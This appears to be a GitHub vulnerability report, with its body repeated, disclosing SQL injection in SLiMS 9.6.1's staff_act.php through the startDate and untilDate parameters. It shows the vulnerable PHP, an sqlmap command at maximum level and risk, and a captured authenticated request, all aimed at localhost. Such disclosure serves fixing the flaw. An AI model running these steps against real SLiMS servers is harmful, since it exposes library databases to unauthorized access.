SLiMS (aka SENAYAN Library Management System) through 9.6.1 allows admin/modules/reporting/customs/staff_act.php SQL Injection via startDate or untilDate.
## The Bug
A SQL Injection exists in `admin/modules/reporting/customs/staff_act.php` at the code below

```php
	// create datagrid
	$reportgrid = new report_datagrid();
	$reportgrid->setSQLColumn('u.realname AS \''.__('Real Name').'\'',
    	'u.username AS \''.__('Login Username').'\'',
    	'u.user_id AS \''.__('Bibliography Data Entry').'\'',
    	'u.user_id AS \''.__('Item Data Entry').'\'',
    	'u.user_id AS \''.__('Member Data Entry').'\'',
    	'u.user_id AS \''.__('Loans').'\'',
    	'u.user_id AS \''.__('Returns').'\'',
    	'u.user_id AS \''.__('Extends').'\'');
	$reportgrid->setSQLorder('realname ASC');

	// is there any search
	$criteria = 'user_id IS NOT NULL ';
	$reportgrid->setSQLCriteria($criteria);

	$start_date = '2000-01-01';
	if (isset($_GET['startDate'])) {
    	$start_date = $_GET['startDate']; // unsanitized input 1
	}
	$until_date = date('Y-m-d');
	if (isset($_GET['untilDate'])) {
    	$until_date = $_GET['untilDate']; // unsanitized input 2
	}
```

**To Reproduce**
Steps to reproduce the behavior:
1. Login as admin or user that has access to Staff Activity Reporting
2. Make sure the burp is on to capture the request as below
   
![image](https://github.com/slims/slims9_bulian/assets/143168734/f72b9929-b25b-4979-94fb-d630d9ad9fd0)

3. Save the request into a file (example.req)
4. Run the test with sqlmap with the command
	```
	sqlmap command:
	sqlmap -r example.req --level 5 --risk 3 -p startDate --random-agent --dbms=mysql --current-user
	```
5. It's in
![image](https://github.com/slims/slims9_bulian/assets/143168734/bbba465d-7b99-46f2-bb52-2a864f44d6ac)


**example.req**
```
GET /slims9_bulian-9.6.1/admin/modules/reporting/customs/staff_act.php?startDate=2000-01-01&untilDate=2023-08-2&applyFilter=Apply+Filter&reportView=true HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://localhost/slims9_bulian-9.6.1/admin/index.php?mod=reporting
Cookie: SenayanAdmin=68n7ojemg853g6ipos463oo2o2; admin_logged_in=1; SenayanMember=nva8k0bovrr32qckn46cs9u46h
Upgrade-Insecure-Requests: 1
```

## Screenshots
**proof-of-concept current user**
![image](https://github.com/slims/slims9_bulian/assets/143168734/fbcd3feb-60e3-402d-8e35-64ed2c79cb2e)


**Versions**
 - OS: Windows
 - Browser: Firefox | 116.0.3 (64-bit)
 - Slims Version: slims9_bulian-9.6.1

## Notes


Vuln0wned Report: SQL Injection in staff_act.php
This is a GitHub Issue
repo:slims9_bulian
owner:slims
Title : Vuln0wned Report: SQL Injection in staff_act.php
Issue date:

--- start body ---
## The Bug
A SQL Injection exists in `admin/modules/reporting/customs/staff_act.php` at the code below

```php
	// create datagrid
	$reportgrid = new report_datagrid();
	$reportgrid->setSQLColumn('u.realname AS \''.__('Real Name').'\'',
    	'u.username AS \''.__('Login Username').'\'',
    	'u.user_id AS \''.__('Bibliography Data Entry').'\'',
    	'u.user_id AS \''.__('Item Data Entry').'\'',
    	'u.user_id AS \''.__('Member Data Entry').'\'',
    	'u.user_id AS \''.__('Loans').'\'',
    	'u.user_id AS \''.__('Returns').'\'',
    	'u.user_id AS \''.__('Extends').'\'');
	$reportgrid->setSQLorder('realname ASC');

	// is there any search
	$criteria = 'user_id IS NOT NULL ';
	$reportgrid->setSQLCriteria($criteria);

	$start_date = '2000-01-01';
	if (isset($_GET['startDate'])) {
    	$start_date = $_GET['startDate']; // unsanitized input 1
	}
	$until_date = date('Y-m-d');
	if (isset($_GET['untilDate'])) {
    	$until_date = $_GET['untilDate']; // unsanitized input 2
	}
```

**To Reproduce**
Steps to reproduce the behavior:
1. Login as admin or user that has access to Staff Activity Reporting
2. Make sure the burp is on to capture the request as below
   
![image](https://github.com/slims/slims9_bulian/assets/143168734/f72b9929-b25b-4979-94fb-d630d9ad9fd0)

3. Save the request into a file (example.req)
4. Run the test with sqlmap with the command
	```
	sqlmap command:
	sqlmap -r example.req --level 5 --risk 3 -p startDate --random-agent --dbms=mysql --current-user
	```
5. It's in
![image](https://github.com/slims/slims9_bulian/assets/143168734/bbba465d-7b99-46f2-bb52-2a864f44d6ac)


**example.req**
```
GET /slims9_bulian-9.6.1/admin/modules/reporting/customs/staff_act.php?startDate=2000-01-01&untilDate=2023-08-2&applyFilter=Apply+Filter&reportView=true HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://localhost/slims9_bulian-9.6.1/admin/index.php?mod=reporting
Cookie: SenayanAdmin=68n7ojemg853g6ipos463oo2o2; admin_logged_in=1; SenayanMember=nva8k0bovrr32qckn46cs9u46h
Upgrade-Insecure-Requests: 1
```

## Screenshots
**proof-of-concept current user**
![image](https://github.com/slims/slims9_bulian/assets/143168734/fbcd3feb-60e3-402d-8e35-64ed2c79cb2e)


**Versions**
 - OS: Windows
 - Browser: Firefox | 116.0.3 (64-bit)
 - Slims Version: slims9_bulian-9.6.1

## Notes


--- end body ---

A SQL Injection vulnerability exists in the `staff_act.php` file of the Slims9 Bulian application. The vulnerability arises from unsanitized user input being directly used in SQL queries, specifically the `startDate` and `untilDate` parameters. An attacker can exploit this by manipulating these parameters to execute arbitrary SQL commands, potentially leading to unauthorized data access or modification.